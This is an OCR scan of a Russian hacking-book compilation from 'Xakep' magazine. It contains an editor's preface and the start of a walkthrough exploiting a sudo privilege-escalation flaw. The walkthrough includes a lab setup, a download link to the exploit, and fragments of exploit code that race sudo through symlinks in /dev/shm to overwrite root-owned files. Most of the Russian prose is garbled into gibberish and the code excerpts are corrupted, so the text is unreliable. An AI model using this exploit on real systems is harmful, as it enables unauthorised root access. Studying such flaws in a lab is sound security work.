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BmecTto npeagucnoBus

Tl nepxkuiib B pykaXx HEOOBIYHYKO KHHUTY. DTO He TPaJAMLMOHHBIA CaMOYUYHTENb HIH
CMpaBOYHHMK M0 MHPOPMALMOHHOH 0E30MacHOCTH M He CKy4YHas SHLMKJIONEIHs, BKIIO-
yaromas B cebs nHdopMaLHio, KoTopyto 6e3 ocoboro Tpyaa MoxkHO oTbickaTh B MHTep-
Hete. [lepen T060# — COOPHUK TILATEBHO OTOOPAHHBIX, CAMbBIX MHTEPECHBIX, JTyUYLIHMX
nyONMKaUMiA W3 JIereHJapHoro ypHana «Xakep», OOBEAMHEHHBIX OOLIeH TeMoii:
«B3TIOMY.

B 5Tol KHHMre MouYTH HeT TEOPHHM, MOCBSALIEHHON apXUTEKType OMepaLMOHHBIX CUCTEM H
npuaoKeHUH. Thl He Halelb 3/1ech AOJTUX OMMCAHUM MPUHLKIOB paboThl MPOrpamMm,
ycTpoicTsa apaiiBepoB U 06a3 naHHbIX. [loa aToi 06s10kKkoH coOpaHbl TOILKO MpakTHYe-
CKHE MPHEMBI B3JIOMA, OMHUCAHHbIE HACTOSALMMH MpodeccHOHalaMH U MHOTOKpPAaTHO MC-
nbiTaHHbIE B Jene. Hukakol «Boab», TOAbKO nosie3Has uHdopMauus. ITo U €CTb camoe
HACTOSILIEE UCKYCCTBO XaKepcTBa B €r0 HCTUHHOM, KOHLIEHTPUPOBAHHOM BHIE.

Beskuit pa3s, korna B UHTepHete unu tpaauimonHbix CMU g BUKY HOBOCTHBIE 3arojioB-
KW M3 paspsja «Xakepsl OPraHW30Bald OYEPEIHYIO BUPYCHYIO aTaky» wiu «basa nan-
HbIX MHTEpHET-MarasuHa Oblla MOXMILUEHA XaKepaMW», MHE HECTepNHUMO XO4eTcs OTbl-
CKaTh HAMMCaBLLUEro 3TO JKYPHAJIMCTA U CTYKHYTb €ro 1o roJioBe YyeM-HUOYIb TSKEbIM.
PaGortas penaktopom, s 6e3)kanocTHO BbIMApbIBalO MOAOOHBIE CTPOKH M3 MOCTYMABLIMX
B U3/1aTeNbCTBO MarepuanoB. «[louemy Thbl ¢ TakMuM YNOPCTBOM 3allMLIAellb Xake-
poB?» — HeoyMeBaloT Kojierd. «[IoToMy 4To OHM HU B 4e€M HE BUHOBATBI», — BCAKHIH
pa3 oTBeyalo 1.

HcTrHHOE mpoMcxokaeHHe TepMHHA «Xakep» ceifuac, HaBepHOE, YCTAaHOBUTBH YiKE€ He-
BO3MOJKHO: NPEAINoJaraeTcs, YTo OHO 3apOJIWJIOCh B KamIycax U ayAuTopusax Maccauy-
CETCKOr0 TEXHOJOrMYEeCKOro yHuBepcurera euie B 60-X ronax mpouuioro croiaetus. boi-
TyeT MHEHHE, YTO CJIOBEYKO I0MNaa0 B 0OMX0J KOMMNbIOTEPILMKOB W3 )KaproHa XUIMIMH, e
raaroi «to hack» o3Hauan OTHIO/b He «B3JaMbIBaTh», KaK 3TO CUMTAETCs ceidac, a «co-
obpaxaTb», «BpybaTbes». CobcTBeHHO, B 70-X «XakepaMMW» Kak pa3 U Ha3blBaJIU TeX, KTO
«BpybaeTcs» B MPUHLUIBI pabOThl KOMIbIOTEPOB, INIyOOKO NMOHMUMAET MPOUCXOASLINE B
HHUX IPOLECCHhl, TO €CThb BbICOKOKBaJMGHUMpoBaHHbIX [T-crennanucTos, nmporpamMMu-
CTOB, pa3paboTUMKOB. XaKepbl — 3TO MPEXKIE BCEro UCC/IC0BATEIH, HACTOALILNE YHEHbIE
M3 MHpa BbICOKMX TEXHOJIOTHH, T€ camble KOCMAaThle MapHU B OYKAaX, CKBO3b TOJICTbIE
CTEKJIa KOTOPbIX MOXHO MO/UKMraTh MypaBbeB. BripoueM, JOBOJIBHO YacTO cpeau HUX
BCTPEYAOTCs U 1€BYOHKH.

Hacrosue XaKepbl HUKOrJa HE B3JIaMbIBAJIM YYXKHE TNPHUIIOKECHHUA WKW CEPBEPBI paau
Ha>XUBbI H YK TEM Gosnee He COBEpLIAIH npec*rynﬂeHm‘/'l — pas3Be 41O ﬂOpOﬁ HCII0JIb30Ba-
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JIM CBOM 3HaHMS Ui OpraHu3auuu 6e300M1HbIX po3birpbiiieit. [Topoii Xxakepbl HCnonb3o-
BaJIM COOCTBEHHbIE YMEHHMS B JIMUHBIX LIEJISIX, HO BCE PABHO CTApPAJIUCh HE HAHOCUTh KOM-
MBIOTEPHBIM CHUCTEMAaM W HX MOJIb30BaTeNIsiM cepbe3Horo Bpena. [lo Oonbiiomy cuery,
XaKepaMu MOHO cMmeno Ha3BaTh CtuBa BosHsika u bunna efitca, Jlunyca Topeanbiaca
u Puuappna Cronnmana. [laxe co3znaTtenb NepBoil B MCTOPUM YEI0BEYECTBA HIIEKTPOHHO-
BbIUMCIUTENbHOM MalinHbl Konpaz Lly3e Obut cBoero poaa xakepom, XOTs B €ro BpeMeHa
TaKoro MOHATHUS HE CYLLECTBOBAJIO BOBCE.

CeroaHsi pacxoxee CJIOBO «XaKep», HeKorja o0O3HauaBllee MPOCTO BbICOKOKJIACCHOTO
KOMIBIOTEPHOTO CMELMATIMCTA, OKa3al0Ch 3aTepTO A0 Iblp HE pa30OMparolUMKCs B BO-
npoce XKypHATUCTaMH, KoTopble Hu3Beau IT-npodeccroHanoB 10 ypoBHS KOMIMbIOTEp-
HBIX TIPECTYMHHUKOB W kuOepsioneeB. Macia B OroHb MOJUIMJIIM MHOTOYMCIIEHHBIE
OHJIAHOBBIE U He OYeHb W3JaHUs, Oslarofaps CTapaHHUsAM KOTOPBIX HbIHE XaKepoM cels
MHHT JIFO00M HIKOJbHUK, CKauaBIIMH OTKyAa-HUOYAb MOAOOPKY «Iporpamm Ajs B3JioMa
HurepHetay.

B mupe cyuectByetT MHOXkecTBO IT-crenuanucToB, KOTOPBIX MOXKHO Ha3BaTh HACTOSLIM-
MU npodeccHOHaIaMK CBOETO Jiejia. JTO CUCTEMHbIE aAMHHUCTPATOPhl, MOAIAEPKHBAIO-
[[Me 1elbie KiacTepbl CepBepOB, STO MPOrpaMMHMCTEL, MUIIYLIHE CI0XKHbBIH KO, 3TO JKC-
nepThl MO HWHGOPMALMOHHON 0E30MacHOCTH, APXUTEKTOPhI OMEPaLMOHHBIX CHUCTEM H,
KOHEYHO, BHUPYCHbIC aHAJMTHKH, WCCIEIyIolMe onacHble yrpo3sl. M Bce oHM — He-
MHOJKKO Xakepbl. BOT mouemy s OTHOILYCBH K JIFO/ASIM, KOTOpbIE 3aCTYXKHUJIU MTPaBO UMEHO-
BaThCS UMEHHO TaK, C OOJBIIMM U UCKPEHHUM YBA)KEHUEM, Be/lb XaKep — 3TO 3BYYUT
ropJo.

ABTOpBI COOpaHHBIX B 3TOH KHUI€ cTaTel — HACTOSLLIME ITUYHbIE XaKePhl B TOM CaMoM,
XOPOIIEM CMBICIE ATOr0 CJI0BA. DTO UCTUHHBIE MPOGECCHOHANBI, HEYTOMUMBIE UCCIIEI0-
BaTeJIM, OMBITHEHIIINE SKCIepThl B cepe 3aluThl THPOPMALIUK U NTOUCKA YSA3BUMOCTEM.
Cero/iHsi OHHU AEIATCS CBOUMM 3HAHUSMH M OTIBITOM C TOOOM, UATATE/Ib.

B »xypHane «Xakep» LapuT CBOsi HernoBTopumas atMocdepa. Bo-nepBbiX, 31eCh MPUHATO
o0mmarkes ¢ YATaTeIeM Ha «Thl». BO-BTOPBIX, Ha CTpaHULIAX JKypHaa AOMYCTHM KOMIIb-
IOTEPHBIN CJIEHT, @ MaHepy W3JI0)KEHUS B CTAThsIX MOXKHO Ha3BaTh MPOHWYHOW M LIYTIIH-
Boii. Bece 3Tu n06pbie TpaauumK B MOJHON Mepe pacnpocTpaHuiach U Ha KHUry. [lotomy
HE yIUBIISACS, BCTPETHB HA CTPaHMLIAX M3aHMS CJIOBO «puya» BMECTO «(YHKIIMOHAb-
Hasi OCOOEHHOCTb MPUIIOKEHHUS» HIIM «ITO(PUKCHUTBY» BMECTO «UCIPABUTH BbISBICHHYIO
omuOKy B Koziey. Y Hac Tak 3aBeJIeHO.

[TockosbKy Tema 3TOM KHUTH BechbMa crielMbHUYHas, Mbl HE MOXKEeM He OmyOJIMKOBATh
B MIPEAMCIIOBHHM HECKOJIBKO BasKHBIX MpeaynpexaeHuid. Bot oHu:

BHUMAHUE!

Bcs npuBeeHHasi Ha CTpaHuLax 3ToW KHUIM MHAOPMaUMs, Kog U npuMepbl nyonukytoTcs
UCKNIOYUTENBHO B O3HAKOMUTEMbHbIX Lensax. Hu nspgatensctso «bXB», HU peaakums xyp-
Hana «Xakep», H/N aBTOPbl HE HECYT HNKAKOW OTBETCTBEHHOCTU 3a Nniobble nocneacTeus uc-
nonb30BaHUsi MHopmMaLmu, NOoNyYeHHONW B pe3yrnbTaTe NPOYTEHUS KHUMM, a Takxke 3a nio-
601 BO3MOXHbIN Bpes, NPUYNHEHHbIV MHDOPMaLMeln U3 3Toro U3gaHus.

MoMHUTE, YTO HECAHKLMOHUPOBAHHBIA AOCTYN K KOMMbIOTEPHLIM CUCTEMAM W pacnpocTpa-
HeHve BpegoHocHoro MO npecneayoTcs No 3akoHy. Bce pacCMOTPEHHbIE B KHUre MeToabl
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NPeacTaBneHbl B O3HAKOMUTENbHbIX Lensax. Kakum-nubo obpas3oM ucnonb3ys npeacras-
NEHHYI0 B KHUre MHOPMaLMIO, Bbl AEACTBYETE UCKIIOYUTENBHO HA COBCTBEHHBLIN CTpax U
pVCK.

HckpeHHe Hazeroch, YTO Thl, JIOPOrOi 4MTaTeNlb, MPEKPACHO MOHUMAEIIb, YTO JHOOBIE
3HAHHUS M0pa3yMeBalOT OTBETCTBEHHOCTb. C MCIMOIb30BAHUEM OJIHOM M TOH ke s11epHOH
PEaKLMH MOXKHO MOCTPOMTb ATOMHYIO 3JIEKTPOCTAHLIMIO, KOTOpasi COrpeeT MHIIJTMOHBI
JIF0JIEHN, @ MOXKHO COOpyauTh 60MOY, crOcOOHYI0 YHHUTOXKHUTH UX. Y BEPEH, Thl C/eaelllb
npaBH/IbHBINA BBIOOP U MCMOJb3yellb OOpeTeHHble Oaroiaps 3TOW KHUre 3HaHus BO Ona-
ro — s 60pbObl ¢ KOMIMBIOTEPHBIMU YTrpO3aMH, MOBbILIEHUS WHPOPMALIMOHHOM Oe30-
MACHOCTH W BbISIBIEHUs YSI3BUMOCTEH, KOTOpbIE MOJKHO W HYKHO 3akpbiTh. Hy a 51, cocTa-
BUTEJIb 3TOro COOPHUKA, U aBTOPbI OMyOJIMKOBAHHLIX B HEM cTaTei OyaeM pazbl BUAETh
TeOsl CpeaM MOCTOSHHBIX YHTaTeNe s)KypHana «Xakep». Jlo BcTpeun!

Banenmun Xoamozopoe,
peoakmop pyopuku «Bzrom» sncypuana «Xaxep»

http://xakep.ru
http://holmogorov.ru
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1. MNoBbIWaem npuBUnerun
00 cynepnonb3oBartens
yepes ya3BMMOCTb B sudo

HeaH alL Ly Komuccapoe

Komanma sudo B UNIX u Linux mo3BojsieT OOBIMHOMY TMOJIB30BATENIO BBIMOIHATH
KOMaH[Ibl OT UIMEHH JPYTHUX IMOJb30BaTeNel, B YaCTHOCTH OT root. Pebsra uz Qualys Ha-
LUK B sudo ya3BUMocTh THna LPE, koTopas naet arakyroumeMy BO3MOXHOCTb MOBBICHTh
npuBuiIeruy B cucreme. [locMoTpuM, Kak 310 paboTaer.

VYSA3BUMOCTb 3aTparuBaeT BCE BEPCHUM sudo, HauuHasg 1.8.6p7 u 3axanuumBas 1.8.20p2,
a cBsi3aHa omMOKa C HEBEPHOW JIOTMKOW 00paboOTKH pe3yJbTaTOB /proc/[pid]/stat
B QYHKIMH get process ttyname (). Mcnone3ys cneumanbHo chOpMHPOBaHHBIE CHMBO-
JIMYECKHE CCBIIKH, 3JIOYMBIIIJIEHHUK MOXKET BBI3BAaTh KOMAHAY sudo M MOJAMEHWTH B €€
KOHTEKCTE M0JTb30BaTeIbCKHI TEPMUHA CUMIIMHKOM Ha HYXHbIH ¢aiin. Takum obpa3zom,
OH MOXXET TMepenucaTh COAepKUMOe 3TOro Qaiina pe3ysbTaToM pabOoThl BBITOIHAEMOMN
yepe3 sudo KOMaHbI.

NMoproroBka

Haunewm c BbiOopa onepaurorHo# cucteMsl. S 6yny ucnone3zoBath CentOS 7 B kavecTBe
rocreBoit OC, No3ToOMy BCce MOM MaHUMYJIALUHMU OyAyT akTyallbHbl MIMEHHO TS 3TOM Bep-
cuu cuctemsl. 3amyckatb OC uepes Docker s He coBeTyto — SELinux B Hem paGoTtaeT He
TaK JK€, Kak B TOJIHOLEHHOM JucTpuOytuBe. Jlyuine wucnonb3oBate VMware Win
VirtualBox.

YroObl MpOTECTUPOBATH YI3BUMOCTb, HAM TIOHAA00SATCS TPH YCIIOBHS:

1. OGbruHbIH nosp30BaTeNb ¢ SudO-MPUBHIErHAMU BBIMOJHEHHUS KaKOW-HUOYAb Mpo-
IPaMMBI.

2. AxkrtuBupoBanHbiii SELinux (Security Enhanced Linux).

3. Cam GunHapHuk sudo nomkeH ObITh coOpan ¢ nogaepxkoi SELinux (momaepskka sudo
-r role).

Pa36epeMcs ¢ KaKIbIM ITyHKTOM.

Jlis Havana co3ganuM to3epa attacker. S yxe caenan 3To Ha dTarne YCTaHOBKH CHCTEMBI,
HO ecqii Tebe M0 KaKMM-TO MPUYMHAM TaKOH BapHaHT He MOAXOIMT, TO 3TO MOXKHO Mpo-
BEPHYTh CJIEAYIOIIEH KOMaH0i B KOHCOJIH:
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Tenepsb nenernpyem HOBOMCIEUEHHOMY (03€pY BO3MOYKHOCTB BBIMOJIHATD KaKyrO-HHOY b
KOMaH/y OT cynepnonb3oBatensi. He Oyay naneko orxoaute ot periopta Qualys u ams
JEMOHCTpALIMK  YSA3BUMOCTH MCcnoib3yto OuHapHuk sum (https://www.opennet.ru/
man.shtml?topic=sum&category=1&russian=0), KOTOpbIii 3aHUMaeTCs TMOACUETOM
KOHTPOJILHOM CyMMbl YKa3aHHOTO (aitia. [ 3Toro MokHO BOCHO/Ib30BaTbCs KOMaH0M
visudo WM K€ NPOCTO J00aBUTh CTPOUKY attacker ALL=(ALL) NOPASSWD: /usr/bin/sum
B (haiin /etc/sudoers (puc. 1.1).

B CentOS 7 SELinux B/IIOYeH M MpekpacHo paboTaeT W3 KOPOOKH, MO3TOMY HHKaKHX

JIOTIOJTHUTEIBHBIX JeHCTBUNA BTOPOM M TPETHUH MyHKTHI OT Hac He noTpedyroT. [IpoBeputh
TEKYLIMH CTaTyC MOJACUCTEMbI MOYKHO KOMaH/10H sestatus (puc. 1.2).

“‘, CentOS7 (Before update sudo) [Running] - Oracle VM VirtualBox = O X

File Machine View Input Devices Help

Puc. 1.1. JobaBneHne nonb3oBaTeNto NpaB Ha BbiNOMHEHWE KOMaHAbI Yepe3 sudo

“%H CentOST - VMware Workstation 12 Player . a X

| " i
; Player « £ v = e A € @&l

Puc. 1.2. SELinux pabotaeT B CentOS u3 kopobku
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C MoAroToBKOM 3aKOHUYMJIM, CAMOE BPEMS CKAauMBaTh SKCIUIOWT MO CJAEAYIOIIEH CChLIKE:
https://www.exploit-db.com/download/42183 u nepexoauts Kk pazbopy aetaied ys3-
BHUMOCTH.

Hdetanu yasBumocTtu

B camom Hauase s yMmoMmsiHyJ, 4To mpoOsiema HaXxoauTcs B (YHKUMH get process
ttyname, kotopas o0bsBiIeHa B (aiine ttyname.c.

Jagaii pazbepemcs, uto aenaet 31a GyHkuus. [Ipy BeINOJTHEHNH KOMaH/Ibl OHA MOJIyYaeT
uHdopMalHo o cratyce mnpotiecca /proc/[pid]/stat u yuraer Homep TepMHUHaia tty u3
nosist noa Homepom 7 — tty_nr (puc. 1.3).

Puc. 1.3. MNone tty_nr (7) — Homep TepmuHana, KoTopbil UCNONb3yeT NpoLuece

Camy cTpyKkTypy noJjei stat MOxKHO NOocMOTpeTh B daiine /usr/sre/linux/fs/proc/array.c.

Frray.c; T | 4}

493: seq printf (m, "%d (%s) %c", pid nr ns(pid, ns), tcomm, state); [1 2 3]
494: seq put decimal 11(m, " ", ppid); [4]

495: seq put decimal 11(m, " ", pgid); [5]

496: seq put decimal 11(m, " ", sid); [6]

497: seq_put _decimal 11l(m, " ", tty nr); [7]

498: seq put decimal 1l(m, " ", tty pgrp);

[Tonsa, kak BMAMLIB, oTAedslOTCsS Apyr oT Apyra mnpobenamu. [lo Hum ¢yHKims
get_process_ttyname u pa3OuBaer cTpoky (pe3yibTarT padoThl /proc/[pid]/stat) mis
JlaJbHEHUIIEero NapcuHra.

Isrcittyname.c |

480: get process_ttyname (char *name, size t namelen)

481: {
490: /* Try to determine the tty from tty nr in /proc/pid/stat. */
491: snprintf (path, sizeof (path), "/proc/%u/stat", (unsigned int)getpid());

492: if ((fp = fopen(path, "r")) != NULL) {
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493: len = getline(&line, &linesize, fp);

494 fclose (fp) ;

495: if (len != -1) {

496: /* Field 7 is the tty dev (0 if no tty) */

501:% while (*++ep != '\0") {

502: if (*ep == "' ') {

503: *ep = "\0';

504: if (++field == 7) {

505: dev_t tdev = strtonum(cp, INT MIN, INT MAX, &errstr);

Tenepbr mocMoTpum Ha nose noa Homepom 2 (comm). ITO He YTO HHOE, KaK UM UCTION-
Haemoro ¢aiina, B3sTO€ B KPyriibie CKOOKH. A Be/ib OHO BIOJIHE MOXKET COJAEepKaTh Mpo-
Oenbl. Hanpumep, Bo3bMeM cTaHIapTHbIM OWHApHHMK cat, CKOMMPYEM W COXPaHUM €ro
noJ1 HOBBIM MMeHeM — cat with spaces. Tenepb BbIIIOJHUM KOMaHAy cat\ with\ spaces
/proc/self/stat U IOCMOTPUM Ha pe3ynbTar (puc. 1.4).

Puc. 1.4. Mapcuxr no npobenam Bei3biBaeT npo6nemy BEpHOro onpeaenexus tty nr

Kak Buauuib, eciu tenepb, ciaeays koay ¢GyHKLUMM get process_ttyname, pa3OHUBaTh
CTPOKY 1o mnpoGeram, TO AJIEMEHTOM Mo/ HoMepoM 7 OyAeT coBceM He tty nr, Kak 0XKH-
npaercs. Beixoaur, yuto, MCnosb3ys Onpeie/ieHHOEe KOJMYECTBO MpoOesoB B UMEHH, MBI
MOXEM  HAapyLIMThb 3aJ0KEHHYIO  pa3paboTyMKamMu  JIOTMKY paboTbl  (yHKLUMH
get_process_ttyname.

Kak MoxxHO ynpaBisiTb uMeHeM KoMaH ibl? KoHeuHO, Mpy nomMoLy cMMIUHKOB! Eciin Mbl
BBI30BEM sudo Yepe3 CUMJIMHK ¢ MMeHeM ./ 1, To get_process_ttyname Bbi30BeT (yHK-
uvio sudo_ttyname_dev uis MoMCKa HECYUIECTBYIOLIEro tty-ycTpoHCTBa ¢ HoMepoM |
B MaccuBe search_devs.

Llsrclttyname.c J
505: dev_t tdev = strtonum(cp, INT MIN, INT MAX, &errstr);

510z if (tdev > 0) {

511 errno = Serrno;

512¢ ret = sudo ttyname dev(tdev, name, namelen);

318: sudo ttyname dev(dev t rdev, char *name, size t namelen)
3197 {
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326: i

327 * First check search devs for common tty devices.
328: *f

329: for (sd = search devs; (devname = *sd) != NULL; sd++) {
330« len = strlen(devname);

331: if (devname([len - 1] == "/'") {

147: /*

148: * Devices to search before doing a breadth-first scan.
149: *f

150: static char *search devs[] = {

154: "/dev/console",

152§ "/dev/wscons",

153 "/dev/pts/",

154: "/dev/vt/",

155: "/dev/term/",

156: "/dev/zcons/",

157: NULL

158: )

Jlanee BBIMIO/IHEHHE TepeXoauT kK GyHkuuH sudo_ttyname_dev, koTopas, B CBOIO OdYe-
penb, Bbi3biBaeT sudo_ttyname_scan. Ota QyHKUMSA NMPOJODKAET MOUCK HECYILECTBYIO-
mero tty B katasiore /dev/. OH BBINOJNHAETCS NpU TOMOLIM TaK Ha3bIBA€MOro IMOMCKa
B winpuny (breadth-first search, BFS).

369: s

370: * Not found? Do a breadth-first traversal of /dev/.

3713 ol

372: ret = sudo_ttyname scan(_PATH DEV, rdev, false, name, namelen);

B 3TOT MOMEHT MBI MOXKEM TMPO3KCILTyaTHPOBaTh ysa3BUMOCTh. Korma mouck mpoxomaut
B yctpoiicTBe /dev/shm (o6uieit namsaru, SHared Memory), atakytoumii MOXeT MOACY-
HYTb MporpaMme B Bujie tty Jir000e TEKCTOBOE YCTPOHCTBO B (aiyioBOi cucTeme. 3aTeM,
BOHMIS B COCTOSHME MOHKM M YCIELIHO €€ BBIMIPaB, MOYKHO TNMpPEICTaBUTH 000N (aiin
B KaueCTBE CBOEr0 TEPMHUHAA.

Jlanblie B Urpy BCTYMalOT 0COOEHHOCTH paboThl sudo B paMkax SELinux. bnaromaps
¢yHkimu relabel_tty arakyromuii MOXKeT U3MEHHUTH COZIEPAKHMMOE JTI000ro daiina, BKITO-
yas aiisibl, MpUHaAeKalye cyneprnoyb3oBarento. OyHKUUS OTKPHIBAET I/ YTEHHS W
3aliCcH TeKyllee tty-ycTpoHcTBO, B KOTOpoe npu noMouy dup2 HarpasiseTcs COAepikKH-
moe stdin, stdout u stderr. Mcnone3ys MaHUMyJISLMH C CHMIMHKAMH, MOJKHO HarpaBUTh
B MPOU3BOJIbHBIN (paiis pe3ynbTaT paboThl KOMaH/Ibl, KOTOpas pa3pelleHa Ha UCTOJTHEHHUE
Yyepes sudo.
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Isrciselinux.c

148: relabel tty(const char *ttyn, int ptyfd)

149: {

163 se_state.ttyfd = open(ttyn, O RDWR|O NOCTTY|O_NONBLOCK) ;
209: /* Re-open tty to get new label and reset std{in,out,err} */
210: close(se_state.ttyfd);

il i se_state.ttyfd = open(ttyn, O RDWR|O NOCTTY|O NONBLOCK) ;
218z for (fd = STDIN FILENO; fd <= STDERR _FILENO; fd++) {

219z if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) {

MpuHuKMn paboTki 3KcnnouTa

[Ipoiinemcs 1Mo KOy IKCIUIONTA U MOCMOTPHUM Ha aarOPUTM IKCIUTyaTalHH YS3BUMOCTH
B elicTBUU. B camom Havane aiina, kak BOAWTCS, HECKOJIBbKO KOHCTaHT.

O TARGET_FILE — oaiin, B koTOpbIii OyaeT NpOU3BOANTHCS 3aMHCh;

O WORKING_DIR — paboyas aupeKkTopusi, B KOTOpoi OyayT co3aaBaThCs HY)KHbIE
taiiner;

O SELINUX_ROLE — ponb nons3oBarens B koHTekcTe SELinux.

[4218&&1'

41: #define SUDO BINARY "/usr/bin/sudo"

42: #define TARGET FILE "/etc/init.d/README"
43: #define SELINUX ROLE "unconfined r"

44:

45: #define WORKING DIR "/dev/shm/_ tmp"

46: #define TTY SYMLINK WORKING DIR " Eby”
47: #define TTY SYMLINK TTY SYMLINK " "

[Ipn 3amycke SKCIUIOMT KIET Ha BXOJE HECKOJbKO apryMEHTOB KOMaHAHOW CTPOKH.
B kayecTtBe mepBoro ykasbiBaeTcsi OMHApHHK, 3aIyCK KOTOPOrO pa3pelleH uepe3 sudo.
BTopoii apryMeHT — mapaMeTphbl BbI30Ba 3TOr0 OMHApHUKA.

./42183.c /usr/bin/sum ANYTHING YOU TO WRITE IN FILE

IlepBbIM 1WIarom Ha MyTH K 3KcrutyaTaunu Oyaer co3gaHue aupektopuu /dev/shm/_tmp.
Hurepdeiic /dev/shm pa3peuieH Ha yTeHHE W 3aMHCh JIOOOMY MOJIb30BATEIIO, YTO HE
MOXKET He pajoBaTh. B nmarnke coznaercst cumnuHk /dev/shm/_tmp/_tty, KOTOpbIH yka3bl-
BAET HA HECYLIECTBYIOUIMIA BUPTYalibHbIN nceBaoTepMuHai /dev/pts/S7.
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[ 42183.c
80: if (mkdir (WORKING_D

81: if (symlink(pts, TTY
82: if (symlink (TARGET _

3atem reHepupyeTcs umsi U cosnpaercs cumiMHk /dev/shm/_tmp/ 34873 nns sudo
(puc. 1.5):

i Cent0S7 {Before update sudo) [Running] - Oracle VM VirtualBox — a s

File Machine View Input vices Help

Puc. 1.5. OTnagka aKkcnnouTa B MOMEHT reHepaLun UMeHn cumnuHka ans sudo

DTOT TPIOK, KaK Thl TOMHHUIIIb, HY)KEH /I TOTO, YTOObI HAPYIINTH JIOTHKY paboThl (hyHK-
MU get process_ttyname B MecCTe MapCHHra pe3yJbTaToB stat mo cUMBOMY mnpobera.
[Touemy 31ech ucnonb3yetcst uncio 34 8737 Jlnsg pazbsicHeHUs HYKHO 0OpaTUThCS K 10-
kymeHTtauuu proc (http://man7.org/linux/man-pages/man5/proc.S.html):

(7) tty nr &d
The controlling terminal of the process. (The minor
device number is contained in the combination of
bits 31 to 20 and 7 to 0; the major device number is
in bits 15 to 8.)

IlpenacraBum uucino 34 873 B nBomyHo# cucteme, nomyuurcs 1000 1000 0011 1001.
B Gutax ¢ 15 no 8 xpanutcs tun TepmuHana. s oObIYHOM KOHCOMHU tty 3TO YHCIIO paB-
Ho 0000 0100, wiu 4 B necarepuuHoit cucteme. Ho Mbl MpOBOAMM MaHMITYJISILIMU C TICEB-
JoTepMUHaIaMHU. JIOCTyn K HUM MOXKHO IMOJY4HTh uyepe3 /dev/pts/, 1 UM COOTBETCTBYET
tin 136, win 1000 1000.
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Hanee paccmoTtpum minor device number. 3a Hero otBevaroT 6uthi ¢ 31 o 20 uc 7 mo 0.
V Hac Bcero 16 Out B 00LIei CIOKHOCTH, MO3TOMY MCHOJIB3yeM Tosbko ¢ 7 mo 0,
OCTaJIbHbIE CUMTAEM PABHBIMH HYJIO. DTH OMThI OTBEYAIOT 38 HOMEP TEKYLLEro TepMHUHa-
J1a, B KOTOPOM BbINOJNHseTCs OWHapHUK. B Hamewm crnyudae onu paHsl 0011 1001, yto
ABIISIETCS SKBUBAJIEHTOM 57 B IECATHYHOM TPEACTABIEHUU. ITO UMEHHO TOT HOMEp Tep-
MHHaJja, 17151 KOTOPOro Mbl CO3AaBaIv CUMJIMHK (puc. 1.6).

entOS7 - VMware Workstation 12 Player

Puc. 1.6. PasnuyHble Tunel (minor device number) TepmuHanos

[

| 42183.c |
702 struct stat sbuf;

The if (fstat(*pts fds, é&sbuf)) die();

74: if ((unsigned int)snprintf (comm, sizeof (comm), "%s/ glu ™,

WORKING DIR, (unsigned long)sbuf.st rdev)

152 >= sizeof (comm)) die();

83: if (symlink (SUDO_BINARY, comm)) die();

Hanee cobupaem napameTpsl Jijis 3aMycKa sudo 4epe3 CHMBOJIUUECKYIO cChlIKY. Mcmoib-
3yeM ¢uiar -r role, IJie role — pOJib Halllero noss3osaresns B koHtekcte SELinux. Io
YMOJIYAHHIO B 9KCILIOUTE Ucrofib3yercs unconfined _r.

| 42183.c

102: char ** const argv = calloc(argc + 1, sizeof (char *));
1.03: if (largv) die()

104: argv[0] = comm;

1053 argv[l] = "-r";

106: arcv["} = SELINUX ROLE;

10%: memcpy ( gv[3 &my argv([l], my argc * sizeof (char *));
108: if (argw argc]) die();

[IpoBeputh posb Mosb30BaTeNss MOXKHO KOMaHIoW id -z. Ecim ona omimuyaercs or
aedonTHoM, To MeHsi# B ucxoanukax koHctauty SELINUX_ROLE (ctpoka 43).

Teneps 3amyckaem sudo. [I1s 3TOro UCMosb3yeM CO3/aHHbIN paHee CUMJIMHK ¢ mpolOena-
MH B Ha3BaHUU:
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[ 42183.c

1133 execve (*argv, argv, NULL);

Hacrano Bpemsi roHok. UtoOsl mepesanucarth (aiil, HaM Hy>KHO YCTELIHO BbIMIpaTh J1Ba
3ae3na. Jlnst obseryeHus 3TOro npouecca B 3KCIUIOWTE HUCTOJIb30BAHO TPU JIIOOOMBITHBIX
TpIOKa.

Tprok nepsbiit: Gyukuus sched_setaffinity 3actaBnser sudo oTpabaThiBaTh Ha TOM ke
JIOTMYECKOM TMPOLIECCOpe, YTO M HALL IKCILIOMT.

| 42183c

93: cpu _set t cpu_set;

94: CPU_ZERO (&cpu_set) ;

952 CPU_SET (cpu, &cpu set);

96: if (sched setaffinity(0, sizeof (cpu set), &cpu set) != 0) die();

Bropoit Tprok: npu rnomouu GyHKUUM setpriority MoHMKaeTCs MPUOPUTET nice rpouec-
ca sudo 0 MUHHUMaJIBHOTO (+19):

| 42183.c

L

110¢: if (setpriority(PRIO PROCESS, 0, +19) != 0) die();

Tpetbs xutpocts — 310 pyHKuMs sched_setscheduler, xoropas ycranapnusaer anro-
PUTM W MapameTphbl TUIAHUPOBaHUS Mpoliecca. B ciyuae paccMaTpHBaeMOro 3KCIIOMTa
BoiOpana nonutuka SCHED _IDLE, xotopas ucnonb3yeTcs npu paboTe ¢ o4eHb HU3KO-
MPUOPUTETHBIMU (POHOBBIMH 3a1a4aMH.

 42183.c

134 2 static const struct sched param sched param = { .sched priority =
0 }:

1123 (void) sched setscheduler (0, SCHED IDLE, &sched param);

LIlaHCHI BBIMIPATh FOHKY 3aMETHO MOJPOCIH, W TEMepb HaM HY)KHO MOHMAaTh MOMEHT,
KOT/Ia sudo BBIMOMHUT (GyHKLMIO opendir ans paGoueit nupextopun — /dev/shm/_tmp.
Jlns storo ucnonbsyetcs inotify APIL. Ero uenb — nabmonats 3a 00beKTaMU B 0KH/1a-
HUH OfpeJie/IeHHbIX COOBITHIA, a MPU BO3HUKHOBEHHUH 3THUX COOBITUH BBIMONHATH yKa3aH-
HblE€ JCHCTBHUSL.

Bemaem Botuep uBenta IN_OPEN Ha nmanky u »aeM, rnoka rnporpamma JOWAET 1o ee
OTKpPBITHS. DTO MPOUCXOMT MPU TMOUCKE HECYLIECTBYIOILETO MCEBIOTEPMHHAIA U3 CHM-

nrHKa. Kak Toabko cobbiTue cpabaTbiBaeT, OCTaHABIMBAEM IMPOLIECC sudo, OTIIPABHB EMY
curnan SIGSTOP:
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085: const int inotify fd

inotify initl (IN_CLOEXEC) ;

087 const int working wd

IN_OPEN | IN CLOSE NOWRITE) ;

inotify add watch(inotify fd, WORKING DIR,

117: struct inotify event event;

